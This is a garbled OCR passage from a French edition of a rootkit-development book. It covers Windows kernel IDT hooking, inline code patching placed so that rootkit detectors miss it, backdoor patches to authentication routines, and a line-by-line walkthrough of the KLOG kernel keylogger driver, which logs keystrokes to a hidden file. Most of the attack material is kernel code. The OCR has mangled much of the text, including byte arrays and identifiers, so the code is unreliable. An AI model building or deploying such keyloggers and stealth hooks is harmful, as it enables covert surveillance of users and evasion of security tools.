// Structures de 1'IDT
///////////////////////////////////////////////////
#pragma pack(1)
// Entre dans l'IDT, parfois appele // une porte d'interruption
(interrupt gte), typedef struct {
unsigned short LowOffset;
unsigned short selector; unsigned
char unused_lo;
unsigned char segment_type:4; //0x0E est une porte d'interruption
unsigned char system_segment_flag: 1 ;
unsigned char DPL:2; // Niveau de privilges du descripteur unsigned
char P : 1 ; /* prsent */ unsigned short HiOffset;
> IDTENTRY;
/* sidt retourne l'idt dans ce format */ typedef struct {
unsigned short IDTLimit; unsigned short LowIDTbase; unsigned short
HilDTbase;
} IDTINFO;
#pragma pack()
146 Rootkits
ensuite restaurs (dans lordre inverse, bien sr). Lappel est dfini sous la forme
STDCALL, ce qui signifie que la fonction se chargera de son nettoyage.
Remarquez le code qui assigne une valeur dans EAX et la place sur la pile. Cette
valeur sera modifie avec le numro dinterruption lors de lexcution de DriverEntry.
Cest de cette faon que le rootkit connat linterruption qui a t appele :
#ifdef _DEBUG
// La version avec debugging annule l'appel du hook par des NOP // Ce
code fonctionne sans plantage, char jump_template[] = {
0x90, //nop, debugging
0x60, //pushad 0x9C,
//pushfd
0xB8,
0xAA, 0x00, 0X00
,
0x90,
//push eax
0x90,
0x90, 0x90, 0x90,
0x90,
//pop eax
0x9D,
//popfd
0x61 , //popad
0xEA, 0 x 1 1 , 0x22, 0x33,
};
#else
char jump_template[] = {
0x90, //nop, debugging
0x60, //pushad 0x9C,
//pushfd
0xAA, 0x00, 0X00,
0xB8,
0x50,
//push eax
0 x 1 1 , 0x22, 0x33,
0x9A,
0x58,
//pop eax
0x9D,
//popfd
0x61 , //popad
0xEA,
0 x 1 1 , 0x22, 0x33,
#endif
0x90, //call
08:44332211 h
0x44, 0X08,
0x00 / / j mp : 44332211 h
08
0X00, //mov
eax, AAh
0x44, 0x08,
0x00, //call
0x44, 0x08,
08:44332211 h
Le code suivant illustre la fonction qui est appele pour chaque interruption. La
fonction compte simplement le nombre de fois que chaque interruption est appele.
Le numro dinterruption est pass en tant quargument. Notez lemploi de la fonction de scurit Interlockedlncrement pour incrmenter le compteur dinterruption.
Les compteurs sont stocks en tant que tableaux (arroy) globaux du type long non
sign.
Il L'emploi de stdcall signifie que cette fonction corrige la pile
Il avant de retourner (l'oppos de cdecl).
Il Le numro d'interruption est pass dans EAX
void _ stdcall count_interrupts(unsigned long inumber)
{
Il A faire : peut-il y avoir des collisions ici ?
Chapitre 5
II
Il [ebp+0Ch] == arg1
II
_ asm mov eax, [ebp+0Ch]
_ asm mov aNumber, eax
Il __ asm int 3
aNumber = aNumber & 0X000000FF;
aCountP = &g_i_count[aNumber];
Interlockedlncrement(aCountP);
>
La routine DriverEntry applique le patch, insre les valeurs de correction et cre les
modles de saut pour chaque entre dans la table des descripteurs de services :
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN
PUNICODE_STRING
theRegistryPath )
{
IDTINFO idt_info; // Cette structure est obtenue
// en appelant STORE IDT (sidt)...
IDTENTRY* idt_entries; // ...et ce pointeur est
// obtenu l'aide d'idt_info.
IDTENTRY* i; unsigned long addr; unsigned long count; char _t[255];
theDriverObject->DriverUnload = OnUnload;
A ce stade, nous initialisons le tableau global, qui conserve le nombre de fois que les
interruptions sont appeles. Le numro dinterruption correspond loffset dans le
tableau :
for(count=START_IDT_OFFSET;count<MAX_IDT_ENTRIES;count++)
{
g_i_count[count]=0 ;
}
// Charge idt_info
asm sidt idt_info
idt_entries = (IDTENTRY*) MAKELONG( idt_info.LowIDTbase,
idt_info.HiIDTbase);
148 Rootkits
Les valeurs originales dans la table dinterruptions sont stockes afin de pouvoir les
restaurer ultrieurement lors du dchargement :
////////////////////////////////////////////
// Sauvegarde des anciens pointeurs de l'IDT
//////////////////////////////////////////// for(count=START_IDT_OFFSET;count
< MAX_IDT_ENTRIES;count++)
{
i = &idt_entries[count];
addr = MAKELONG(i->LowOffset, i->HiOffset);
_snprintf( _t, 253, "Interrupt %d: ISR 0x%08X", count, addr);
DbgPrint(_t);
old_ISR_pointers[count] =
MAKELONG( idt_entries[count].LowOffset,
idt_entries[count].HiOffset);
}
A ce stade, suffisamment de mmoire est alloue pour stocker tous les modles de
saut. Ils sont naturellement placs dans une zone NonPagedPool.
///////////////////////////////////////////
// Renseignement du tableau de dtour
///////////////////////////////////////////
idt_detour_tablebase =
ExAllocatePool( NonPagedPool,
sizeof(j ump_template)*256);
{
int offset = sizeof(jump_template)*count; char
*entry_ptr = idt_detour_tablebase + offset;
// entry_ptr pointe vers le dbut du code de saut dans // dans
la table des dtours.
// Copie le code initial l'emplacement du modle
memcpy(entry_ptr, jump_template, sizeof(jump_template));
#ifndef _DEBUG
// Insre le numro d'interruption entry_ptr[4] = (char)count;
Chapitre S
Lentre de la table dinterruptions est modifie pour pointer vers le nouveau modle
de saut qui vient dtre cr :
// Finalement, faire pointer l'interruption vers le code du modle
_ asm cli
idt_entries[count].LowOffset =
(unsigned short)entry_ptr;
idt_entries[count].HiOffset =
(unsigned short)((unsigned long)entry_ptr 16);
_ asm sti
}
DbgPrint("Hooking Interrupt complt");
return STATUS_SUCCESS;
{
int i;
IDTINFO idt_info; // Cette structure est obtenue
// en appelant STORE IDT (sidt)...
IDTENTRY* idt_entries; // puis ce pointeur
// est obtenu partir d'idt_info.
char _t[255];
// Charge idt_info
_ asm sidt idt_info
idt_entries = (IDTENTRY*)
MAKELONG( idt_info.LowIDTbase, idt_info.HiIDTbase);
DbgPrint("ROOTKIT: OnUnload called\n");
for(i=START_IDT_OFFSET;i<MAX_IDT_ENTRIES;i++)
{
_snprintf(_t, 253,
"interrupt %d called %d times", i,
g_i_count[i]);
DbgPrint(_t);
150 Rootkits
{
I l Restaure la routine d'interruption originale
_ asm cli
idt_entries[i].LowOffset =
(unsigned short) old_ISR_pointers[i];
idt_entries[i].HiOffset =
(unsigned short)((unsigned long)
old_ISR_pointers[i] 16);
_ asm sti
}
DbgPrint("UnHooking Interrupt complt.");
}
Vous savez maintenant comment mettre en uvre la technique du modle de saut. Elle
peut tre gnralise pour de nombreux problmes. Elle est particulirement utile
lorsque plusieurs hooks sont ncessaires et que chacun deux inclut des donnes
spcifiques.
Variations
Comme vous lavez vu, les patchs de code sont souvent insrs au dbut dune
fonction. Cest une opration aise car les fonctions sont faciles trouver en mmoire.
Bien entendu, il est possible daller plus loin et dinsrer le patch plus en profondeur
dans la fonction. Cette dmarche permet dobtenir une plus grande furtivit et est plus
difficile dtecter. Certains logiciels de dtection de rootkits ne vrifient lintgrit
que des vingt premiers octets dune fonction. Pour leur chapper, il sufft dintroduire
le code de modification au-del de cette limite.
La recherche doctets de code patcher fonctionne parfois bien, notamment lorsque la
squence doctets voulue est unique. Il suffit alors de rechercher le code en mmoire
sans avoir recourir lemploi de pointeurs de fonctions pour le faire. Si le patch luimme est simple, vous pouvez parfois rechercher des octets uniques proches de
lemplacement patcher. Le tout est didentifier une srie doctets que lon puisse
chercher et qui soit reconnaissable sans ambigut.
Les fonctions dauthentification reprsentent souvent des emplacements intressants
modifier. Elles peuvent ainsi tre compltement dsactives de faon toujours
permettre laccs. Un patch plus complexe serait lautorisation dun mot de passe ou
dun nom dutilisateur de backdoor.
Chapitre 5
Les patchs appliqus des fonctions gnrales du noyau peuvent assurer la furtivit
dun driver ou dun programme install. Un emplacement trs intressant est le
programme de chargement du noyau lui-mme. Les fonctions de contrle dintgrit
peuvent aussi tre patches de sorte quelles ne puissent plus dtecter les fichiers
troyens ou modifis. Des patchs de fonctions rseau peuvent tre employs pour
sniffer des paquets et dautres donnes. Les patchs de microcode (firmware) et du
BIOS peuvent tre difficiles dtecter.
Lors de linsertion dun patch et de code, il faut parfois introduire un grand nombre de
nouvelles instructions. A partir dun driver, la meilleure faon de procder est
dallouer de la mmoire non pagine. Pour les patchs moins courants, le code peut tre
plac dans des zones mmoire non utilises. Il existe au bas de nombreuses pages
mmoire des sections non utilises appeles cavernes. Aussi parle-t-on parfois
d'infection de caverne pour dsigner le fait den tirer parti.
Conclusion
De manire gnrale, le patching direct doctets de code est lune des mthodes les
plus efficaces qui soient pour modifier la logique dun programme. Quasiment
nimporte quel code ou logique de programme peut tre modifi. En outre, cette
technique est assez difficile dtecter, du moins avec les outils actuels de dtection de
rootkits.
Les patchs doctets de code constituent une alternative pour implmenter nombre des
stratgies de hooking dcrites dans ce livre. Combins dautres techniques
puissantes, telles que laccs direct au matriel et les dissimulations de mmoire
virtuelle, ils peuvent servir dvelopper des rootkits trs performants et difficilement
dtectables.
Le patching lors de lexcution fait partie des techniques de base du dveloppement de
rootkits modernes.
Chanage de drivers
Si une tche difficile vous incombe, confiez-la une personne plus
paresseuse que vous ; elle trouvera une solution plus simple.
- Loi de Hlade
154
Rootkits
Il existe des chanes de drivers pour pratiquement tous les priphriques matriels. Le
driver de plus bas niveau gre laccs direct au bus et au priphrique, et ceux situs
plus haut grent la mise en forme des donnes, les codes derreurs et la conversion des
requtes de haut niveau en dtail de manipulation physique plus spcifiques.
Le chanage de drivers est un concept important pour les rootkits car les drivers
interviennent dans le transfert des donnes changes vers ou depuis le matriel. Ces
drivers ninterceptent pas seulement les donnes, ils peuvent aussi les modifier avant
de les transmettre. Autrement dit, ils sont parfaits pour les dveloppeurs de rootkits.
Presque tous les priphriques du systme peuvent tre intercepts de cette manire.
En outre, le chanage permet au dveloppeur dtre paresseux et dintercepter
uniquement les donnes qui lintressent. Mais surtout, il lui permet dviter les
complexits du matriel. Par exemple, pour sniffer la frappe au clavier, il lui suffit
dinsrer son code dinterception au-dessus du driver de clavier existant.
Ce chapitre dcrit comment utiliser les techniques de chanage pour intercepter et
modifier des donnes dans un systme. Nous commencerons par expliquer la faon
dont le noyau Windows gre les drivers et examinerons ensuite dans le dtail un
exemple de driver de filtrage de clavier permettant dintercepter la frappe. Nous
terminerons ensuite par une introduction aux drivers de filtrage de fichiers.
A lissue de ce chapitre, vous devriez tre capable de comprendre comment se fait
linterception de la frappe au clavier et la dissimulation de fichier ou de rpertoire o
sont stockes les donnes captures.
Un sniffeur de clavier
Chaner un driver demande certaines connaissances de base sur la faon dont le noyau
Windows gre les drivers. Rien de tel quun exemple pour comprendre ce point. Dans
ce chapitre, nous allons crer un rootkit sniffeur de clavier qui utilisera un driver de
filtrage pour intercepter la frappe.
Ce sniffeur opre un niveau beaucoup plus lev que le contrleur de clavier. Il se
trouve que manipuler un composant matriel aussi simple que ce contrleur peut se
rvler trs problmatique (voyez le Chapitre 8 pour un exemple daccs direct).
Chapitre 6
Figure 6.1
Illustration de la
relation entre un driver
et un priphrique.
156
Rootkits
Figure 6.2
Chapitre 6
Un IRP comprenant
trois structures 10
STACK LOCATION.
En-tte
de
lIRP
10
STACK
LOCATION
10
STACK
LOCATION
10
STACK
LOCATION
158 Rootkits
Figure 6.4
Un IRP traversant une chane de drivers possdant chacun son propre emplacement dans la
pile.
{
IoSkipCurrentlrpStackLocation(theIRP);
Return IoCallDriverfgNextDevice, theIRP);
}
Lappel de IoSkipCurrentlrpStackLocation modifie lIRP de sorte que, lorsque nous
invoquons IoCallDriver, le driver sous-jacent recevra la structure IO_STACK_LOCATION
de notre driver. Autrement dit, le pointeur vers lemplacement courant ne sera pas
modifi1. Cette technique permet au driver sous-jacent dutiliser les mmes arguments
ou routines de terminaison que ceux fournis par le driver situ au-dessus du ntre (ce
qui nous arrange car nous navons ainsi pas initialiser lemplacement du driver sousjacent dans la pile).
Etant donn que IoSkipCurrentlrpStackLocation ( ) peut tre implmente en tant que
macro, il faut veiller toujours utiliser des accolades dans une expression
conditionnelle :
if(something)
{
IoSkipCurrentlrpStackLocation()
Chapitre 6
Bien entendu, cet exemple ne fait rien dutile. Pour tirer parti de cette technique, nous
pourrions examiner le contenu des IRP aprs quils ont t traits. Par exemple, des
IRP sont utiliss pour rcuprer la frappe au clavier. Ces IRP contiennent les
scancodes des touches qui ont t presses.
Pour vous permettre de vous familiariser avec ce traitement, nous allons examiner en
dtail le fonctionnement du rootkit KLOG qui implmente un sniffeur de clavier.
Le rootkit KLOG
Notre exemple de sniffeur de clavier, qui se nomme KLOG, a t crit par Clandestiny et est publi sur le site www.rootkit.com1. Cette section examine son code ligne
par ligne.
Rootkit.com
Le rootkit KLOG est dcrit l'adresse
www.rootkit.com/newsread.php7newsids187.
Il peut tre tlcharg sur ce site partir du rpertoire vault
de Clandestiny.
Notez que KLOG supporte une disposition du clavier anglaise amricaine. Etant donn
que chaque touche presse est transmise sous la forme dun scancode et non dun
caractre, une tape est requise pour convertir chaque scancode dans le caractre
correspondant. Ce mapping peut diffrer selon la disposition du clavier utilise.
Pour commencer, la fonction DriverEntry est invoque :
NTSTATUS DriverEntryfIN PDRIVER_OBJECT pDriverObject, IN
PUNICODE_STRING RegistryPath )
{
NTSTATUS Status = {0};
1. Un exemple connu de driver chan permettant de filtrer la frappe est disponible sur
www.sysinter- nals.com. Il se nomme ctr!2cap et a servi de base au sniffeur KLOG.
160 Rootkits
DispatchPassDown
est dfinie :
Une autre routine est cre spcifiquement pour les requtes de lecture du clavier. Elle
se nomme DispatchRead :
// Spcifie explicitement les gestionnaires d'IRP hooker
pDriverObj ect->Maj orFunction[IRP_MJ_READ] = DispatchRead;
{
// L'objet priphrique de filtrage PDEVICE_OBJECT
pKeyboardDeviceObj ect;
0
true,
&pKeyboardDeviceObject);
Il Vrifie que le priphrique a t cr
if(!NT_SUCCESS(status)) return status;
Les flags associs au nouveau priphrique devraient tre dfinis lidentique de ceux
du priphrique clavier sous-jacent. Cette information peut tre obtenue au moyen
dun utilitaire comme DeviceTree. Dans le cas dun filtre de clavier, les flags indiqus
ici peuvent tre utiliss :
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags |
(D0_BUFFERED_I0 | DO_POWER_PAGABLE);
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags &
~DO_DEVICE_INITIALIZING;
Chapitre 6
{
PDEVICEJDBJECT pKeyboardDevice;
PETHREAD pThreadObj; bool
bThreadTerminate;
HANDLE hLogFile;
KEY_STATE kState;
SEMAPHORE semQueue;
KSPIN_LOCK lockQueue;
LIST_ENTRY QueueListHead;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
Le nom du priphrique clavier sur lequel se chaner est KeyboardClassO. Il est converti
en une chane Unicode, puis le hook de filtrage est plac au moyen dun appel de
IoAttachDevice ( ). Le pointeur vers le priphrique suivant (sous-jacent) dans la
chane est stock dans pKeyboardDeviceExtension->peyboardDevice et sera utilis pour
lui passer les IRP :
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
RtlInitAnsiString(&ntNameString, ntNameBuffer);
RtlAnsiStringToUnicodeString(&ueyboardDeviceName,
&ntNameString,
TRUE );
IoAttachDevice(pKeyboardDeviceObj ect, &uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName); return
STATUS_SUCCESS;
}// Fin de HookKeyboard
162 Rootkits
Lorsque les scancodes sont placs dans les IRP, le systme opre au niveau dIRQ
DISPATCH_LEVEL, auquel les oprations de fichier sont interdites. Aprs que la frappe a
t place dans un tampon partag, le thread peut la rcuprer et lcrire dans un
fichier. Le thread sexcute un niveau dIRQ diffrent, PASSIVE LEVEL, o les
oprations de fichier sont autorises. La dfinition du thread a lieu dans la fonction
InitThreadKeyLogger :
InitThreadKeyLogger(pDriverObject);
{
Un pointeur vers lextension de priphrique est employ pour initialiser encore
dautres membres. KLOG stocke ltat du thread dans bThreadTerminate, qui devrait
comporter la valeur taise tant que le thread na pas termin de sexcuter :
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pDriverObj ect->DeviceObj ect->DeviceExtension;
// Dfinit le thread comme tant en cours d'excution dans l'extension //
de priphrique.
pKeyboardDeviceExtension->bThreadTerminate = taise;
thread est cr en appelant PsCreateSystemhread. Notez que la fonction de
Le
traitement du thread est spcifie en tant que
priphrique lui est passe comme argument :
ThreadKeyLogger
et que lextension de
Chapitre 6
}
De retour dans DriverEntry, le thread est prt. Une liste chane partage est initialise
et stocke dans lextension. Cette liste contiendra les touches captures :
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION) pDriverObj ect->DeviceObject->DeviceExtension ;
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
Un verrou spinlock est initialis pour synchroniser laccs la liste chane. Ceci
permet de protger le thread de la liste, ce qui est trs important. Si KLOG nutilisait
pas ce verrou, il pourrait causer un cran bleu lorsque deux threads tentent daccder
la liste en mme temps. Le smaphore garde trace du nombre dlments dans la file
de travail (initialement zro) :
// Initialise le verrou pour la file de la liste chane
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
// Initialise le smaphore de la file de travail
KeInitializeSemaphore(&pKeyboardDeviceExtension->seinQueue, 0, MAXLONG);
Le bloc de code suivant ouvre un fichier, c: \klog.txt, pour consigner les touches
frappes :
// Cre le fichier journal I0_STATUS_BL0CK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";
STRING ntNameString;
UNICODE_STRING uFileName;
RtlInitAnsiString(&ntNameString, ntNameFile);
RtlAnsiStringToUnicodeStringf&uFileName, &ntNameString, TRUE);
InitializeObjectAttributes(&obj_attrib, &uFileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
GENERICJVRITE,
&obj_attrib,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHR0N0US_I0_N0NALERT,
NULL,
0) ;
164
Rootkits
RtlFreeUnicodeString(&uFileName);
if (Status != STATUS_SUCCESS)
{
DbgPrint("Failed to create log file...\n");
DbgPrint("File Status = %x\n",file_status);
}
else
{
DbgPrint("Successfully created log file...\n");
DbgPrint("File Handle = %x\n",
pKeyboardDeviceExtension->hLogFile) ;
}
Pour finir, une routine DriverUnload est spcifie des fins de nettoyage :
// Dfinit la procdure DriverUnload pDriverObject->DriverUnload =
Unload;
DbgPrint("Set DriverUnload function pointer...\n");
DbgPrint("Exiting Driver Entry ........ \n");
return STATUS_SUCCESS;
}
A ce stade, le driver KLOG est attach la chane de priphriques et devrait
commencer rcuprer les IRP de touches frappes. La routine qui est invoque pour
une requte READ est DispatchRead. Examinons-la de plus prs :
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP plrp)
{
Cette fonction est appele lorsquune requte READ est transmise vers le bas de la
chane, au contrleur de clavier. LIRP ne contient alors aucune donne. Nous voulons
donc voir lIRP aprs que la touche presse a t capture, cest--dire lorsquil
remonte vers le haut de la chane.
Le seul moyen dtre notifi lorsque lIRP a termin consiste dfinir une routine de
terminaison. A dfaut de le faire, nous raterons lIRP au moment o il remontera la
chane.
Lorsque nous passons PIRP au priphrique sous-jacent dans la chane, nous devons
dfinir le pointeur de pile de PIRP. Le terme pile est ici confondant car chaque
priphrique dispose simplement dune zone de mmoire dans chaque IRP. Ces zones
prives sont disposes dans un ordre spcifique. On emploie les fonctions
IoGetCurrentlrpStackLocation et IoGetNextlrpStackLocation pour rcuprer des
pointeurs vers ces zones. Un pointeur "courant" doit pointer vers la zone prive du
driver sous-jacent avant que PIRP ne lui soit transmis.
Chapitre 6
IoCallDriver,
nous appelons
IoCopyCurrentlrpStack-
LocationToNext :
Enfin, la fonction IoCallDriver est utilise pour passer lIRP au driver sous-jacent.
Souvenez-vous quun pointeur vers ce driver est stock dans pKeyboardDevice dans
lextension de priphrique.
// Passe l'IRP au driver sous-jacent return IoCallDriver(
((PDEVICE_EXTENSION) pDeviceObj ect->DeviceExtension)->pkeyboardDevice, Plrp);
}/ / Fin de DispatchRead
Nous pouvons voir maintenant que chaque IRP READ, une fois trait, sera disponible
dans la routine OnReadCompletion. Examinons les dtails :
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,
IN PIRP plrp, IN PVOID Context)
{
// Rcupre l'extension de priphrique - nous en aurons besoin plus tard
PDEVICE_EXTENSION pkeyboardDeviceExtension =
(PDEVICE_EXTENSION)pDeviceObj ect->DeviceExtension;
Ltat de lIRP est examin. Considrez cet tat comme un code de retour, ou un code
derreur. Si le code est STATUS_SUCCESS, cela signifie que lIRP sest termin avec
succs, et il devrait contenir des donnes de frappe. Le membre SystemBuf f er
166 Rootkits
ioSta- tus.
{
PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA) pIrp>AssociatedIrp.SystemBuffer;
int numKeys = pIrp->IoStatus.Information /
sizeof(KEYBOARD_INPUT_DATA);
KLOG parcourt maintenant tous les membres du tableau, rcuprant une touche pour
chacun :
for(int i = 0; i < numKeys; i++)
{
DbgPrint("ScanCode: %x\n", keys[i].MakeCode);
Noubliez pas que cette routine de terminaison est appele au niveau dIRQ
DISPATCH_LEVEL, ce qui veut dire que les oprations de fichier ne sont pas autorises.
Pour contourner cette limitation, KLOG passe au thread les touches frappes via une
liste chane partage. Une section critique doit tre utilise pour synchroniser laccs
cette liste. Le noyau veille lapplication de la rgle qui veut quun seul thread la
fois puisse excuter une section critique. Notez quun appel de procdure diffr, ou
DPC (Deferred Procedure Call), ne pourrait pas tre employ ici car ce type dappel
sexcute galement au niveau DISPATCH_LEVEL.
KLOG alloue de la mmoire non pagine et y place le scancode. Ce scancode est
ensuite plac dans la liste chane. La mmoire peut tre alloue uniquement
Chapitre 6
partir dun pool non pagin puisque nous nous trouvons au niveau
DISPATCH_LEVEL.
KEY_DATA* kData =
(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
// Remplit la structure kData avec les donnes de l'IRP kData->KeyData =
(char)keys[i].MakeCode; kData->KeyFlags = (char)keys[i].Flags;
// Ajoute le scancode la file de la liste chane // pour que notre
thread puisse l'crire dans un fichier.
DbgPrint("Adding IRP to work queue...");
ExInterlockedlnsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
Le smaphore est incrment pour indiquer que des donnes doivent tre traites :
// Incrmente le smaphore de 1 - pas de WaitForXXX aprs cet appel
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,
FALSE);
}// Fin du for }// Fin
du if
// Marque l'IRP comme tant en attente si ncessaire if(pIrp->PendingReturned)
IoMarklrpPending(pIrp);
Comme KLOG a termin de traiter cet IRP, le compteur dIRP est dcrment :
numPendinglrps-;
return pIrp->IoStatus.Status;
}// Fin de OnReadCompletion
A ce stade, une touche a t copie dans la liste chane et est disponible pour le thread
de travail. Examinons prsent la routine de ce thread :
VOID ThreadKeyl_ogger(IN PVOID pContext)
{
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pContext;
PDEVICE_OBJECT pKeyboardDeviceObject =
pKeyboardDeviceExtension->pKeyboardDevice;
PLIST_ENTRY pListEntry;
KEY_DATA* kData; // Structure de donnes personnalise utilise pour //
contenir les scancodes dans la liste chane.
168 Rootkits
KLOG entre maintenant dans une boucle de traitement. Le code attend le smaphore
en utilisant KeWaitForSingleObj ect. Si le smaphore est incrment, la boucle se
poursuit :
while(true)
{
// Attend que des donnes deviennent disponibles dans la file
KeWaitForSingleObj ect(
&pKeyboardDeviceExtension->semQueue,
Executive,
KernelMode,
FALSE,
NULL);
Il nest pas possible de terminer des threads du noyau depuis lextrieur. Ces threads
peuvent seulement se terminer eux-mmes. KLOG examine un flag pour dterminer
sil doit terminer un thread de travail, ce qui devrait se produire uniquement si le
rootkit est dcharg :
if(pKeyboardDeviceExtension->bThneadTenminate == true)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
La macro CONTAININGJRECORD doit tre utilise pour rcuprer un pointeur vers les
donnes contenues dans la structure pListEntry :
kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
Chapitre 6
Chanage de drivers
ZwWriteFile
169
{
I0_STATUS_BL0CK io_status;
NTSTATUS status = ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
strlen(keys),
NULL,
NULL);
if(status != STATUS_SUCCESS)
DbgPrint("Writing scan code to file...\n);
else
DbgPrint("Scan code '%s' successfully written to file.\n",keys); }//
Fin du if }// Fin du if }// Fin du while return;
}// Fin de ThreadLogKeyboard
Cest peu prs tout pour les principales oprations de KLOG. Examinons maintenant
la routine Unload :
VOID Unload( IN PDRIVER_OBJECT pDriverObject)
{
// Rcupre le pointeur vers l'extension de priphrique PDEVICE_EXTENSION
pKeyboardDeviceExtension =
(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
DbgPrint("Driver Unload Called...\n");
Un temporisateur est cr, puis KLOG entre dans une courte boucle jusqu ce que le
traitement de tous les IRP soit termin :
// Cre un temporisateur KTIMER kTimer;
LARGE_INTEGER timeout;
timeout.QuadPart = 1000000;// .1 s
KelnitializeTimer(&kTimer);
170 Rootkits
Si un IRP est dans lattente dune touche, le dchargement naura pas lieu tant quune
touche naura pas t presse :
whilefnumPendinglrps > 0)
{
// Dfinit le temporisateur
KeSetTimer(&kTimer,timeout,NULL);
KeWaitForSingleObj ect(
&kTimer,
Executive,
KernelMode,
false,
NULL);
1,
TRUE);
ect
}
Le sniffeur de clavier est maintenant complet. Ce code est important en ce quil
constitue un point de dpart idal pour se brancher sur dautres rootkits chans.
Chapitre 6
De plus, un sniffeur de clavier reprsente lun des rootkits les plus utiles qui soient. La
frappe peut rvler beaucoup de choses et fournir de nombreuses preuves.
{
DriverObject->MajorFunction[i] = OurDispatch;
}
DriverObject->FastIoDispatch = &OurFastIOHook;
Nous dfinissons le tableau MajorFunction pour quil pointe vers notre routine de
dispatching. Nous dfinissons galement une table de dispatching pour les appels
Fastlo. Cette table est une autre mthode au moyen de laquelle les drivers du systme
de fichiers peuvent communiquer. Cette mthode est propre ce type de drivers.
1. Nous couvrons la thorie de cette approche seulement. Aucun code nest disponible en tlchargement.
172 Rootkits
Une fois la table de dispatching en place, nous pouvons hooker les units de disque.
Nous appelons la fonction HookDriveSet1 pour installer des hooks sur toutes les lettres
dunits disponibles :
DWORD d_hDrives = 0;
// Initialise les units hooker for (i = 0; i
< 26; i++)
DriveHookDevices[i] = NULL;
DrivesToHook = 0;
ntStatus = GetDrivesToHook(&d_hDrives);
if(!NT_SUCCESS(ntStatus)) return ntStatus;
HookDriveSet(d_hDrives, DriverObject);
{
NTSTATUS ntstatus;
PROCESS_DEVICEMAP_INFORMATION s_devMap;
DWORD MaxDriveSet, CurDriveSet; int drive;
if (d_hookDrives == NULL) return STATUSJJNSUCCESSFUL;
{
if ( MaxDriveSet & (1 drive) )
{
switch (s_devMap.Query.DriveType[drive])
1. Les fonctions HookDrive et HookDriveSet ont t adaptes et proviennent du code source publi de
Filemon, un outil disponible sur www.sysinternals.com. Ce code-ci a t considrablement modifi et
sexcute entirement dans le noyau. Le code source de Filemon nest plus disponible en tlchargement sur
Sysinternals.
Chapitre 6
Nous commenons par liminer les units que nous voulons ignorer :
Il Elimine les units qui ne nous intressent pas
case DRIVE_UNKNOWN:// Le type d'unit ne peut pas tre dtermin case
DRIVE_NO_ROOT_DIR:// Le rpertoire racine n'existe pas CurDriveSet &=
~(1 drive); break;
// L'unit peut tre supprime.
// Il vaut mieux viter de placer des fichiers cachs //
sur une unit supprimable car nous ne contrlerons // pas
ncessairement l'ordinateur sur lequel elle // sera
monte ensuite, case DRIVE_REMOVABLE:
CurDriveSet &= ~(1 drive); break;
// L'unit est un lecteur de CD-ROM case DRIVE_CDROM:
CurDriveSet &= -(1 drive); break;
DRIVE_REM0TE
et
DRIVE_RAMDISK.
{
PHOOK_EXTENSION hookExt;
ULONG drive, i;
ULONG bit;
// Scanne la table d'units, recherchant les units hooker //
l'aide du masque binaire DriveSet for ( drive = 0; drive < 26;
++drive )
{
bit = 1 drive;
// Cette unit doit-elle tre hooke ?
if( (bit & DriveSet) && !(bit & DrivesToHook))
{
if( !HookDrive( drive, DriverObject ))
{
// Elimine l'unit du groupe si elle ne peut tre hooke DriveSet &=
-bit;
174 Rootkits
else
{
Il Hooke les units du mme groupe for( i = 0; i < 26; i++
)
{
if( DriveHookDevices[i] ==
DriveHookDevices[ drive ] )
{
DriveSet |= ( 1i );
}
}
}
}
{
// Elimine le hook sur cette unit et toutes celles du groupe for( i =
0; i< 26; i++ )
{
if( DriveHookDevices[i] == DriveHookDevices! drive ] )
{
UnhookDrive( i );
DriveSet &= ~(1 i);
}
}
}
}
// Retourne le groupe d'units hookes DrivesToHook = DriveSet; return
DriveSet;
}
Le code pour liminer le hook dunits individuelles dbute comme ceci :
VOID UnhookDrive(IN ULONG Drive)
{
PH00K_EXTENSI0N hookExt;
{
hookExt = DriveHookDevices[Drive]->DeviceExtension;
hookExt->Hooked = FALSE;
}
}
BOOLEAN HookDrive(IN ULONG Drive, IN PDRIVER_OBJECT DriverObject)
{
I0_STATUS_BL0CK ioStatus;
HANDLE ntFileHandle;
Chapitre 6
{
filename[12] = (CHAR) (A'+Drive);// Dfinit le nom d'unit
0
FILE_SHARE_READ|FILE_SHARE_WRITE,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT
*1 FILE_DIRECTORY_FILE,
NULL,
0 );
if( !NT_SUCCESS( ntStatus ))
{
Si le programme na pas pu ouvrir lunit, il retourne la valeur FALSE
return FALSE;
}
// Utilise le handle de fichier pour rechercher l'objet fichier.
// Si cela russit, il faudra dcrmenter l'objet fichier.
ntStatus = ObReferenceObjectByHandle(ntFileHandle,
FIL E_R EAD_DATA,
NULL,
KernelMode,
&fileObj ect,
NULL);
